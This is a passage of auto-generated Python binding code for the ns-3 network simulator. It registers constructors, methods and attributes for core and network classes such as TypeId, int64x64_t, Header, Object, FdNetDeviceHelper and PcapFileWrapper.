is_const=True) ## type-id.h (module 'core'): bool ns3::TypeId::MustHideFromDocumentation() const [member function] cls.add_method('MustHideFromDocumentation', 'bool', [], is_const=True) ## type-id.h (module 'core'): bool ns3::TypeId::SetAttributeInitialValue(uint32_t i, ns3::Ptr<ns3::AttributeValue const> initialValue) [member function] cls.add_method('SetAttributeInitialValue', 'bool', [param('uint32_t', 'i'), param('ns3::Ptr< ns3::AttributeValue const >', 'initialValue')]) ## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::SetGroupName(std::string groupName) [member function] cls.add_method('SetGroupName', 'ns3::TypeId', [param('std::string', 'groupName')]) ## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::SetParent(ns3::TypeId tid) [member function] cls.add_method('SetParent', 'ns3::TypeId', [param('ns3::TypeId', 'tid')]) ## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::SetSize(std::size_t size) [member function] cls.add_method('SetSize', 'ns3::TypeId', [param('std::size_t', 'size')]) ## type-id.h (module 'core'): void ns3::TypeId::SetUid(uint16_t tid) [member function] cls.add_method('SetUid', 'void', [param('uint16_t', 'tid')]) return def register_Ns3TypeIdAttributeInformation_methods(root_module, cls): ## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::AttributeInformation() [constructor] cls.add_constructor([]) ## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::AttributeInformation(ns3::TypeId::AttributeInformation const & arg0) [copy constructor] cls.add_constructor([param('ns3::TypeId::AttributeInformation const &', 'arg0')]) ## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::accessor [variable] cls.add_instance_attribute('accessor', 'ns3::Ptr< ns3::AttributeAccessor const >', is_const=False) ## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::checker [variable] cls.add_instance_attribute('checker', 'ns3::Ptr< ns3::AttributeChecker const >', is_const=False) ## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::flags [variable] cls.add_instance_attribute('flags', 'uint32_t', is_const=False) ## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::help [variable] cls.add_instance_attribute('help', 'std::string', is_const=False) ## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::initialValue [variable] cls.add_instance_attribute('initialValue', 'ns3::Ptr< ns3::AttributeValue const >', is_const=False) ## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::name [variable] cls.add_instance_attribute('name', 'std::string', is_const=False) ## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::originalInitialValue [variable] cls.add_instance_attribute('originalInitialValue', 'ns3::Ptr< ns3::AttributeValue const >', is_const=False) return def register_Ns3TypeIdTraceSourceInformation_methods(root_module, cls): ## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation::TraceSourceInformation() [constructor] cls.add_constructor([]) ## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation::TraceSourceInformation(ns3::TypeId::TraceSourceInformation const & arg0) [copy constructor] cls.add_constructor([param('ns3::TypeId::TraceSourceInformation const &', 'arg0')]) ## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation::accessor [variable] cls.add_instance_attribute('accessor', 'ns3::Ptr< ns3::TraceSourceAccessor const >', is_const=False) ## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation::callback [variable] cls.add_instance_attribute('callback', 'std::string', is_const=False) ## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation::help [variable] cls.add_instance_attribute('help', 'std::string', is_const=False) ## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation::name [variable] cls.add_instance_attribute('name', 'std::string', is_const=False) return def register_Ns3Empty_methods(root_module, cls): ## empty.h (module 'core'): ns3::empty::empty() [constructor] cls.add_constructor([]) ## empty.h (module 'core'): ns3::empty::empty(ns3::empty const & arg0) [copy constructor] cls.add_constructor([param('ns3::empty const &', 'arg0')]) return def register_Ns3Int64x64_t_methods(root_module, cls): cls.add_binary_numeric_operator('*', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('ns3::int64x64_t const &', u'right')) cls.add_binary_numeric_operator('+', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('ns3::int64x64_t const &', u'right')) cls.add_binary_numeric_operator('-', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('ns3::int64x64_t const &', u'right')) cls.add_unary_numeric_operator('-') cls.add_binary_numeric_operator('/', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('ns3::int64x64_t const &', u'right')) cls.add_binary_comparison_operator('<') cls.add_binary_comparison_operator('>') cls.add_binary_comparison_operator('!=') cls.add_inplace_numeric_operator('*=', param('ns3::int64x64_t const &', u'right')) cls.add_inplace_numeric_operator('+=', param('ns3::int64x64_t const &', u'right')) cls.add_inplace_numeric_operator('-=', param('ns3::int64x64_t const &', u'right')) cls.add_inplace_numeric_operator('/=', param('ns3::int64x64_t const &', u'right')) cls.add_output_stream_operator() cls.add_binary_comparison_operator('<=') cls.add_binary_comparison_operator('==') cls.add_binary_comparison_operator('>=') ## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t() [constructor] cls.add_constructor([]) ## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(double v) [constructor] cls.add_constructor([param('double', 'v')]) ## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(long double v) [constructor] cls.add_constructor([param('long double', 'v')]) ## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(int v) [constructor] cls.add_constructor([param('int', 'v')]) ## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(long int v) [constructor] cls.add_constructor([param('long int', 'v')]) ## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(long long int v) [constructor] cls.add_constructor([param('long long int', 'v')]) ## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(unsigned int v) [constructor] cls.add_constructor([param('unsigned int', 'v')]) ## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(long unsigned int v) [constructor] cls.add_constructor([param('long unsigned int', 'v')]) ## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(long long unsigned int v) [constructor] cls.add_constructor([param('long long unsigned int', 'v')]) ## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(int64_t hi, uint64_t lo) [constructor] cls.add_constructor([param('int64_t', 'hi'), param('uint64_t', 'lo')]) ## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(ns3::int64x64_t const & o) [copy constructor] cls.add_constructor([param('ns3::int64x64_t const &', 'o')]) ## int64x64-double.h (module 'core'): double ns3::int64x64_t::GetDouble() const [member function] cls.add_method('GetDouble', 'double', [], is_const=True) ## int64x64-double.h (module 'core'): int64_t ns3::int64x64_t::GetHigh() const [member function] cls.add_method('GetHigh', 'int64_t', [], is_const=True) ## int64x64-double.h (module 'core'): uint64_t ns3::int64x64_t::GetLow() const [member function] cls.add_method('GetLow', 'uint64_t', [], is_const=True) ## int64x64-double.h (module 'core'): static ns3::int64x64_t ns3::int64x64_t::Invert(uint64_t v) [member function] cls.add_method('Invert', 'ns3::int64x64_t', [param('uint64_t', 'v')], is_static=True) ## int64x64-double.h (module 'core'): void ns3::int64x64_t::MulByInvert(ns3::int64x64_t const & o) [member function] cls.add_method('MulByInvert', 'void', [param('ns3::int64x64_t const &', 'o')]) ## int64x64-double.h (module 'core'): ns3::int64x64_t::implementation [variable] cls.add_static_attribute('implementation', 'ns3::int64x64_t::impl_type const', is_const=True) return def register_Ns3Chunk_methods(root_module, cls): ## chunk.h (module 'network'): ns3::Chunk::Chunk() [constructor] cls.add_constructor([]) ## chunk.h (module 'network'): ns3::Chunk::Chunk(ns3::Chunk const & arg0) [copy constructor] cls.add_constructor([param('ns3::Chunk const &', 'arg0')]) ## chunk.h (module 'network'): uint32_t ns3::Chunk::Deserialize(ns3::Buffer::Iterator start) [member function] cls.add_method('Deserialize', 'uint32_t', [param('ns3::Buffer::Iterator', 'start')], is_pure_virtual=True, is_virtual=True) ## chunk.h (module 'network'): static ns3::TypeId ns3::Chunk::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## chunk.h (module 'network'): void ns3::Chunk::Print(std::ostream & os) const [member function] cls.add_method('Print', 'void', [param('std::ostream &', 'os')], is_pure_virtual=True, is_const=True, is_virtual=True) return def register_Ns3FdNetDeviceHelper_methods(root_module, cls): ## fd-net-device-helper.h (module 'fd-net-device'): ns3::FdNetDeviceHelper::FdNetDeviceHelper(ns3::FdNetDeviceHelper const & arg0) [copy constructor] cls.add_constructor([param('ns3::FdNetDeviceHelper const &', 'arg0')]) ## fd-net-device-helper.h (module 'fd-net-device'): ns3::FdNetDeviceHelper::FdNetDeviceHelper() [constructor] cls.add_constructor([]) ## fd-net-device-helper.h (module 'fd-net-device'): ns3::NetDeviceContainer ns3::FdNetDeviceHelper::Install(ns3::Ptr<ns3::Node> node) const [member function] cls.add_method('Install', 'ns3::NetDeviceContainer', [param('ns3::Ptr< ns3::Node >', 'node')], is_const=True, is_virtual=True) ## fd-net-device-helper.h (module 'fd-net-device'): ns3::NetDeviceContainer ns3::FdNetDeviceHelper::Install(std::string name) const [member function] cls.add_method('Install', 'ns3::NetDeviceContainer', [param('std::string', 'name')], is_const=True, is_virtual=True) ## fd-net-device-helper.h (module 'fd-net-device'): ns3::NetDeviceContainer ns3::FdNetDeviceHelper::Install(ns3::NodeContainer const & c) const [member function] cls.add_method('Install', 'ns3::NetDeviceContainer', [param('ns3::NodeContainer const &', 'c')], is_const=True, is_virtual=True) ## fd-net-device-helper.h (module 'fd-net-device'): void ns3::FdNetDeviceHelper::SetAttribute(std::string n1, ns3::AttributeValue const & v1) [member function] cls.add_method('SetAttribute', 'void', [param('std::string', 'n1'), param('ns3::AttributeValue const &', 'v1')]) ## fd-net-device-helper.h (module 'fd-net-device'): ns3::Ptr<ns3::NetDevice> ns3::FdNetDeviceHelper::InstallPriv(ns3::Ptr<ns3::Node> node) const [member function] cls.add_method('InstallPriv', 'ns3::Ptr< ns3::NetDevice >', [param('ns3::Ptr< ns3::Node >', 'node')], is_const=True, visibility='protected', is_virtual=True) ## fd-net-device-helper.h (module 'fd-net-device'): void ns3::FdNetDeviceHelper::EnableAsciiInternal(ns3::Ptr<ns3::OutputStreamWrapper> stream, std::string prefix, ns3::Ptr<ns3::NetDevice> nd, bool explicitFilename) [member function] cls.add_method('EnableAsciiInternal', 'void', [param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream'), param('std::string', 'prefix'), param('ns3::Ptr< ns3::NetDevice >', 'nd'), param('bool', 'explicitFilename')], visibility='private', is_virtual=True) ## fd-net-device-helper.h (module 'fd-net-device'): void ns3::FdNetDeviceHelper::EnablePcapInternal(std::string prefix, ns3::Ptr<ns3::NetDevice> nd, bool promiscuous, bool explicitFilename) [member function] cls.add_method('EnablePcapInternal', 'void', [param('std::string', 'prefix'), param('ns3::Ptr< ns3::NetDevice >', 'nd'), param('bool', 'promiscuous'), param('bool', 'explicitFilename')], visibility='private', is_virtual=True) return def register_Ns3Header_methods(root_module, cls): cls.add_output_stream_operator() ## header.h (module 'network'): ns3::Header::Header() [constructor] cls.add_constructor([]) ## header.h (module 'network'): ns3::Header::Header(ns3::Header const & arg0) [copy constructor] cls.add_constructor([param('ns3::Header const &', 'arg0')]) ## header.h (module 'network'): uint32_t ns3::Header::Deserialize(ns3::Buffer::Iterator start) [member function] cls.add_method('Deserialize', 'uint32_t', [param('ns3::Buffer::Iterator', 'start')], is_pure_virtual=True, is_virtual=True) ## header.h (module 'network'): uint32_t ns3::Header::GetSerializedSize() const [member function] cls.add_method('GetSerializedSize', 'uint32_t', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## header.h (module 'network'): static ns3::TypeId ns3::Header::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## header.h (module 'network'): void ns3::Header::Print(std::ostream & os) const [member function] cls.add_method('Print', 'void', [param('std::ostream &', 'os')], is_pure_virtual=True, is_const=True, is_virtual=True) ## header.h (module 'network'): void ns3::Header::Serialize(ns3::Buffer::Iterator start) const [member function] cls.add_method('Serialize', 'void', [param('ns3::Buffer::Iterator', 'start')], is_pure_virtual=True, is_const=True, is_virtual=True) return def register_Ns3Object_methods(root_module, cls): ## object.h (module 'core'): ns3::Object::Object() [constructor] cls.add_constructor([]) ## object.h (module 'core'): void ns3::Object::AggregateObject(ns3::Ptr<ns3::Object> other) [member function] cls.add_method('AggregateObject', 'void', [param('ns3::Ptr< ns3::Object >', 'other')]) ## object.h (module 'core'): void ns3::Object::Dispose() [member function] cls.add_method('Dispose', 'void', []) ## object.h (module 'core'): ns3::Object::AggregateIterator ns3::Object::GetAggregateIterator() const [member function] cls.add_method('GetAggregateIterator', 'ns3::Object::AggregateIterator', [], is_const=True) ## object.h (module 'core'): ns3::TypeId ns3::Object::GetInstanceTypeId() const [member function] cls.add_method('GetInstanceTypeId', 'ns3::TypeId', [], is_const=True, is_virtual=True) ## object.h (module 'core'): static ns3::TypeId ns3::Object::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## object.h (module 'core'): void ns3::Object::Initialize() [member function] cls.add_method('Initialize', 'void', []) ## object.h (module 'core'): ns3::Object::Object(ns3::Object const & o) [copy constructor] cls.add_constructor([param('ns3::Object const &', 'o')], visibility='protected') ## object.h (module 'core'): void ns3::Object::DoDispose() [member function] cls.add_method('DoDispose', 'void', [], visibility='protected', is_virtual=True) ## object.h (module 'core'): void ns3::Object::DoInitialize() [member function] cls.add_method('DoInitialize', 'void', [], visibility='protected', is_virtual=True) ## object.h (module 'core'): void ns3::Object::NotifyNewAggregate() [member function] cls.add_method('NotifyNewAggregate', 'void', [], visibility='protected', is_virtual=True) return def register_Ns3ObjectAggregateIterator_methods(root_module, cls): ## object.h (module 'core'): ns3::Object::AggregateIterator::AggregateIterator(ns3::Object::AggregateIterator const & arg0) [copy constructor] cls.add_constructor([param('ns3::Object::AggregateIterator const &', 'arg0')]) ## object.h (module 'core'): ns3::Object::AggregateIterator::AggregateIterator() [constructor] cls.add_constructor([]) ## object.h (module 'core'): bool ns3::Object::AggregateIterator::HasNext() const [member function] cls.add_method('HasNext', 'bool', [], is_const=True) ## object.h (module 'core'): ns3::Ptr<ns3::Object const> ns3::Object::AggregateIterator::Next() [member function] cls.add_method('Next', 'ns3::Ptr< ns3::Object const >', []) return def register_Ns3PcapFileWrapper_methods(root_module, cls): ## pcap-file-wrapper.h (module 'network'): static ns3::TypeId ns3::PcapFileWrapper::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## pcap-file-wrapper.h (module 'network'): ns3::PcapFileWrapper::PcapFileWrapper() [constructor] cls.add_constructor([]) ## pcap-file-wrapper.h (module 'network'): bool ns3::PcapFileWrapper::Fail() const [member function] cls.add_method('Fail', 'bool', [], is_const=True) ## pcap-file-wrapper.h (module 'network'): bool ns3::PcapFileWrapper::Eof() const [member function] cls.add_method('Eof', 'bool', [], is_const=True) ## pcap-file-wrapper.h (module 'network'): void ns3::PcapFileWrapper::Clear() [member function] cls.add_method('Clear', 'void', []) ## pcap-file-wrapper.h (module 'network'): void ns3::PcapFileWrapper::Open(std::string const & filename, std::_Ios_Openmode mode) [member function] cls.add_method('Open', 'void', [param('std::string const &', 'filename'), param('std::_Ios_Openmode', 'mode')]) ## pcap-file-wrapper.h (module 'network'): void ns3::PcapFileWrapper::Close() [member function] cls.add_method('Close', 'void', []) ## pcap-file-wrapper.h (module 'network'): void ns3::PcapFileWrapper::Init(uint32_t dataLinkType, uint32_t snapLen=std::numeric_limits<unsigned int>::max(), int32_t tzCorrection=ns3::PcapFile::ZONE_DEFAULT) [member function] cls.add_method('Init', 'void', [param('uint32_t', 'dataLinkType'), param('uint32_t', 'snapLen', default_value='std::numeric_limits<unsigned int>::max()'), param('int32_t', 'tzCorrection', default_value='ns3::PcapFile::ZONE_DEFAULT')]) ## pcap-file-wrapper.h (module 'network'): void ns3::PcapFileWrapper::Write(ns3::Time t, ns3::Ptr<const ns3::Packet> p) [member function] cls.add_method('Write', 'void', [param('ns3::Time', 't'), param('ns3::Ptr< ns3::Packet const >', 'p')]) ## pcap-file-wrapper.h (module 'network'): void ns3::PcapFileWrapper::Write(ns3::Time t, ns3::Header & header, ns3::Ptr<const ns3::Packet> p) [member function] cls.add_method('Write', 'void', [param('ns3::Time', 't'), param('ns3::Header &', 'header'), param('ns3::Ptr< ns3::Packet const >', 'p')]) ## pcap-file-wrapper.h (module 'network'): void ns3::PcapFileWrapper::Write(ns3::Time t, uint8_t const * buffer, uint32_t length) [member function] cls.add_method('Write', 'void', [param('ns3::Time', 't'), param('uint8_t const *', 'buffer'), param('uint32_t', 'length')]) ## pcap-file-wrapper.h (module 'network'): uint32_t ns3::PcapFileWrapper::GetMagic() [member function] cls.add_method('GetMagic', 'uint32_t', []) ## pcap-file-wrapper.h (module 'network'): uint16_t ns3::PcapFileWrapper::GetVersionMajor() [member function] cls.add_method('GetVersionMajor', 'uint16_t', []) ## pcap-file-wrapper.h (module 'network'): uint16_t ns3::PcapFileWrapper::GetVersionMinor() [member function] cls.add_method('GetVersionMinor', 'uint16_t', []) ## pcap-file-wrapper.h (module 'network'): int32_t ns3::PcapFileWrapper::GetTimeZoneOffset() [member function] cls.add_method('GetTimeZoneOffset', 'int32_t', []) ## pcap-file-wrapper.h (module 'network'): uint32_t ns3::PcapFileWrapper::GetSigFigs() [member function] cls.add_method('GetSigFigs', 'uint32_t', []) ## pcap-file-wrapper.h (module 'network'): uint32_t ns3::PcapFileWrapper::GetSnapLen() [member function] cls.add_method('GetSnapLen', 'uint32_t', []) ## pcap-file-wrapper.h (module 'network'): uint32_t ns3::PcapFileWrapper::GetDataLinkType() [member function] cls.add_method('GetDataLinkType', 'uint32_t', []) return def register_Ns3SimpleRefCount__Ns3AttributeAccessor_Ns3Empty_Ns3DefaultDeleter__lt__ns3AttributeAccessor__gt___methods(root_module, cls): ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> >::SimpleRefCount() [constructor] cls.add_constructor([]) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> >::SimpleRefCount(ns3::SimpleRefCount<ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> > const & o) [copy constructor] cls.add_constructor([param('ns3::SimpleRefCount< ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter< ns3::AttributeAccessor > > const &', 'o')]) ## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> >::Cleanup() [member function] cls.add_method('Cleanup', 'void', [], is_static=True) return def register_Ns3SimpleRefCount__Ns3AttributeChecker_Ns3Empty_Ns3DefaultDeleter__lt__ns3AttributeChecker__gt___methods(root_module, cls): ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> >::SimpleRefCount() [constructor] cls.add_constructor([]) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> >::SimpleRefCount(ns3::SimpleRefCount<ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> > const & o) [copy constructor] cls.add_constructor([param('ns3::SimpleRefCount< ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter< ns3::AttributeChecker > > const &', 'o')]) ## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> >::Cleanup() [member function] cls.add_method('Cleanup', 'void', [], is_static=True) return def register_Ns3SimpleRefCount__Ns3AttributeValue_Ns3Empty_Ns3DefaultDeleter__lt__ns3AttributeValue__gt___methods(root_module, cls): ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> >::SimpleRefCount() [constructor] cls.add_constructor([]) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> >::SimpleRefCount(ns3::SimpleRefCount<ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> > const & o) [copy constructor] cls.add_constructor([param('ns3::SimpleRefCount< ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter< ns3::AttributeValue > > const &', 'o')]) ## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> >::Cleanup() [member function] cls.add_method('Cleanup', 'void', [], is_static=True) return def register_Ns3SimpleRefCount__Ns3CallbackImplBase_Ns3Empty_Ns3DefaultDeleter__lt__ns3CallbackImplBase__gt___methods(root_module, cls): ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> >::SimpleRefCount() [constructor] cls.add_constructor([]) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> >::SimpleRefCount(ns3::SimpleRefCount<ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> > const & o) [copy constructor] cls.add_constructor([param('ns3::SimpleRefCount< ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter< ns3::CallbackImplBase > > const &', 'o')]) ## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> >::Cleanup() [member function] cls.add_method('Cleanup', 'void', [], is_static=True) return def register_Ns3SimpleRefCount__Ns3EventImpl_Ns3Empty_Ns3DefaultDeleter__lt__ns3EventImpl__gt___methods(root_module, cls): ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> >::SimpleRefCount() [constructor] cls.add_constructor([]) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> >::SimpleRefCount(ns3::SimpleRefCount<ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> > const & o) [copy constructor] cls.add_constructor([param('ns3::SimpleRefCount< ns3::EventImpl, ns3::empty, ns3::DefaultDeleter< ns3::EventImpl > > const &', 'o')]) ## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> >::Cleanup() [member function] cls.add_method('Cleanup', 'void', [], is_static=True) return def register_Ns3SimpleRefCount__Ns3FdReader_Ns3Empty_Ns3DefaultDeleter__lt__ns3FdReader__gt___methods(root_module, cls): ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::FdReader, ns3::empty, ns3::DefaultDeleter<ns3::FdReader> >::SimpleRefCount() [constructor] cls.add_constructor([]) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::FdReader, ns3::empty, ns3::DefaultDeleter<ns3::FdReader> >::SimpleRefCount(ns3::SimpleRefCount<ns3::FdReader, ns3::empty, ns3::DefaultDeleter<ns3::FdReader> > const & o) [copy constructor] cls.add_constructor([param('ns3::SimpleRefCount< ns3::FdReader, ns3::empty, ns3::DefaultDeleter< ns3::FdReader > > const &', 'o')]) ## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::FdReader, ns3::empty, ns3::DefaultDeleter<ns3::FdReader> >::Cleanup() [member function] cls.add_method('Cleanup', 'void', [], is_static=True) return def register_Ns3SimpleRefCount__Ns3HashImplementation_Ns3Empty_Ns3DefaultDeleter__lt__ns3HashImplementation__gt___methods(root_module, cls): ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Hash::Implementation, ns3::empty, ns3::DefaultDeleter<ns3::Hash::Implementation> >::SimpleRefCount() [constructor] cls.add_constructor([]) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Hash::Implementation, ns3::empty, ns3::DefaultDeleter<ns3::Hash::Implementation> >::SimpleRefCount(ns3::SimpleRefCount<ns3::Hash::Implementation, ns3::empty, ns3::DefaultDeleter<ns3::Hash::Implementation> > const & o) [copy constructor] cls.add_constructor([param('ns3::SimpleRefCount< ns3::Hash::Implementation, ns3::empty, ns3::DefaultDeleter< ns3::Hash::Implementation > > const &', 'o')]) ## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::Hash::Implementation, ns3::empty, ns3::DefaultDeleter<ns3::Hash::Implementation> >::Cleanup() [member function] cls.add_method('Cleanup', 'void', [], is_static=True) return def register_Ns3SimpleRefCount__Ns3NixVector_Ns3Empty_Ns3DefaultDeleter__lt__ns3NixVector__gt___methods(root_module, cls): ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> >::SimpleRefCount() [constructor] cls.add_constructor([]) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> >::SimpleRefCount(ns3::SimpleRefCount<ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> > const & o) [copy constructor] cls.add_constructor([param('ns3::SimpleRefCount< ns3::NixVector, ns3::empty, ns3::DefaultDeleter< ns3::NixVector > > const &', 'o')]) ## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> >::Cleanup() [member function] cls.add_method('Cleanup', 'void', [], is_static=True) return def register_Ns3SimpleRefCount__Ns3OutputStreamWrapper_Ns3Empty_Ns3DefaultDeleter__lt__ns3OutputStreamWrapper__gt___methods(root_module, cls): ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter<ns3::OutputStreamWrapper> >::SimpleRefCount() [constructor] cls.add_constructor([]) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter<ns3::OutputStreamWrapper> >::SimpleRefCount(ns3::SimpleRefCount<ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter<ns3::OutputStreamWrapper> > const & o) [copy constructor] cls.add_constructor([param('ns3::SimpleRefCount< ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter< ns3::OutputStreamWrapper > > const &', 'o')]) ## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter<ns3::OutputStreamWrapper> >::Cleanup() [member function] cls.add_method('Cleanup', 'void', [], is_static=True) return def register_Ns3SimpleRefCount__Ns3Packet_Ns3Empty_Ns3DefaultDeleter__lt__ns3Packet__gt___methods(root_module, cls): ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> >::SimpleRefCount() [constructor] cls.add_constructor([]) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> >::SimpleRefCount(ns3::SimpleRefCount<ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> > const & o) [copy constructor] cls.add_constructor([param('ns3::SimpleRefCount< ns3::Packet, ns3::empty, ns3::DefaultDeleter< ns3::Packet > > const &', 'o')]) ## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> >::Cleanup() [member function] cls.add_method('Cleanup', 'void', [], is_static=True) return def register_Ns3SimpleRefCount__Ns3SystemThread_Ns3Empty_Ns3DefaultDeleter__lt__ns3SystemThread__gt___methods(root_module, cls): ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::SystemThread, ns3::empty, ns3::DefaultDeleter<ns3::SystemThread> >::SimpleRefCount() [constructor] cls.add_constructor([]) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::SystemThread, ns3::empty, ns3::DefaultDeleter<ns3::SystemThread> >::SimpleRefCount(ns3::SimpleRefCount<ns3::SystemThread, ns3::empty, ns3::DefaultDeleter<ns3::SystemThread> > const & o) [copy constructor] cls.add_constructor([param('ns3::SimpleRefCount< ns3::SystemThread, ns3::empty, ns3::DefaultDeleter< ns3::SystemThread > > const &', 'o')]) ## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::SystemThread, ns3::empty, ns3::DefaultDeleter<ns3::SystemThread> >::Cleanup() [member function] cls.add_method('Cleanup', 'void', [], is_static=True) return def register_Ns3SimpleRefCount__Ns3TraceSourceAccessor_Ns3Empty_Ns3DefaultDeleter__lt__ns3TraceSourceAccessor__gt___methods(root_module, cls): ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> >::SimpleRefCount() [constructor] cls.add_constructor([]) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> >::SimpleRefCount(ns3::SimpleRefCount<ns3::TraceSourceAccessor, ns3::empty, 